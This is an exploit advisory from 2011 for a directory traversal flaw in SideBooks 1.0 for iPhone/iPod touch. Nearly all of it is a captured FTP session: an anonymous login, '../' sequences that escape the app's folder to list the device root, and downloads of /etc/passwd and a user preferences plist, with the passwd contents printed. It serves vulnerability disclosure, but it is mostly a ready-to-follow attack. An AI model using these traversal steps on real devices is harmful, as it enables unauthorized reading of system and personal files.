SideBooks 1.0 Directory Traversal

`# Exploit Title: SideBooks v1.0 for iPhone / iPod touch, Directory Traversal  
# Date: 02/22/2011  
# Author: R3d@l3rt, Sp@2K, Sunlight, Hackkey  
# Software Link: http://itunes.apple.com/kr/app/sidebooks/id409777225?mt=8  
# Version: 1.0  
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware   
  
# There is directory traversal vulnerability in the SideBooks.   
# Exploit Testing  
  
C:\>ftp  
ftp> open 192.168.0.70 2100  
Connected to 192.168.0.70.  
220 DiddyFTP server ready.  
User (192.168.0.70:(none)): anonymous  
331 Password required for anonymous  
Password:  
230 User anonymous logged in.  
ftp> dir  
200 PORT command successful.  
150 Opening ASCII mode data connection for '/bin/ls'.  
total 1  
-rwxr-xr-x 1 mobile mobile 1948482 Dec 14 04:48 SideBooksManual.pdf  
226 Transfer complete.  
ftp: 84 bytes received in 0.02Seconds 5.25Kbytes/sec.  
ftp> cd ../../../../../../../  
250 CWD command successful.  
ftp> dir  
200 PORT command successful.  
150 Opening ASCII mode data connection for '/bin/ls'.  
total 19  
-rwxr-xr-x 1 root admin 30 Oct 26 01:20 Applications  
drwxrwxr-x 1 root admin 68 Aug 19 04:10 Developer  
drwxrwxr-x 1 root admin 884 Jan 12 12:53 Library  
drwxr-xr-x 1 root wheel 102 Aug 19 04:18 System  
-rwxr-xr-x 1 root admin 11 Feb 21 08:13 User  
drwxr-xr-x 1 root wheel 2074 Jan 13 09:52 bin  
drwxr-xr-x 1 root admin 68 Oct 26 01:19 boot  
-rw-r--r-- 1 (null) (null) 638 Jan 25 15:30 control  
drwxrwxr-x 1 root admin 68 Aug 03 12:41 cores  
---------- 1 (null) (null) 0 (null) dev  
-rwxr-xr-x 1 root admin 11 Aug 26 05:20 etc  
drwxr-xr-x 1 root admin 68 Oct 26 01:19 lib  
drwxr-xr-x 1 root admin 68 Oct 26 01:19 mnt  
drwxr-xr-x 1 root wheel 136 Oct 23 15:12 private  
drwxr-xr-x 1 root wheel 1666 Jan 13 09:52 sbin  
-rwxr-xr-x 1 root admin 15 Aug 26 05:20 tmp  
drwxr-xr-x 1 root wheel 374 Jan 13 09:52 usr  
-rwxr-xr-x 1 root admin 11 Aug 26 05:20 var  
226 Transfer complete.  
ftp: 1111 bytes received in 0.02Seconds 69.44Kbytes/sec.  
ftp> get ../../../../../etc/passwd  
200 PORT command successful.  
150 Opening BINARY mode data connection for '../../../../../etc/passwd'.  
226 Transfer complete.  
ftp: 785 bytes received in 0.00Seconds 785000.00Kbytes/sec.  
ftp> get /../../../../../../private/var/mobile/Library/Preferences/com.apple.con  
ference.plist  
200 PORT command successful.  
150 Opening BINARY mode data connection for '/../../../../../../private/var/mobi  
le/Library/Preferences/com.apple.conference.plist'.  
226 Transfer complete.  
ftp: 270 bytes received in 0.00Seconds 270000.00Kbytes/sec.  
ftp> quit  
  
C:\>type passwd  
#  
# 4.3BSD-compatable User Database  
#  
# Note that this file is not consulted for login.  
# It only exisits for compatability with 4.3BSD utilities.  
#  
# This file is automatically re-written by various system utilities.  
# Do not edit this file. Changes will be lost.  
#  
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false  
root:*:0:0:System Administrator:/var/root:/bin/sh  
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh  
daemon:*:1:1:System Services:/var/root:/usr/bin/false  
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false  
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false  
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false  
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false  
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false  
  
`